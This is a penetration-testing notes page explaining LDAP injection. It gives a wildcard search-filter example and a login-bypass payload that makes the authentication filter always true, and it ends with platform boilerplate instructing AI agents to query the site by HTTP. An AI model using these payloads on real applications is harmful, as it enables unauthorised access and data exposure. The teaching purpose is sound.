> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/ldap-injection.md).

# LDAP Injection

***

Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts, and many other objects. A web application could use LDAP in order to let users authenticate or search other users’ information inside a corporate structure. ***A successful exploitation*** of an LDAP injection vulnerability could allow the tester to:

* Access unauthorized content
* Evade application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

## Example 1: Search Filters

Let’s suppose we have a web application using a search filter like the following one:

```txt
searchfilter="(cn="+user+")"
```

which is instantiated by an HTTP request like this:

```txt
http://www.example.com/ldapsearch?user=John
```

If the value `John` is replaced with a `*`, by sending the request:

```txt
http://www.example.com/ldapsearch?user=*
```

The filter will look like:

```txt
searchfilter="(cn=*)"
```

> Note : A tester could use a trial-and-error approach, by inserting in the parameter `(`, `|`, `&`, `*` and the other characters, in order to check the application for errors.

## Example 2: Login

Let’s suppose a web application uses a filter to match LDAP user/password pair.

```txt
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";
```

By using the following values:

```txt
user=*)(uid=*))(|(uid=*
pass=password
```

the search filter will results in:

```txt
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
```

which is correct and always true.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/ldap-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
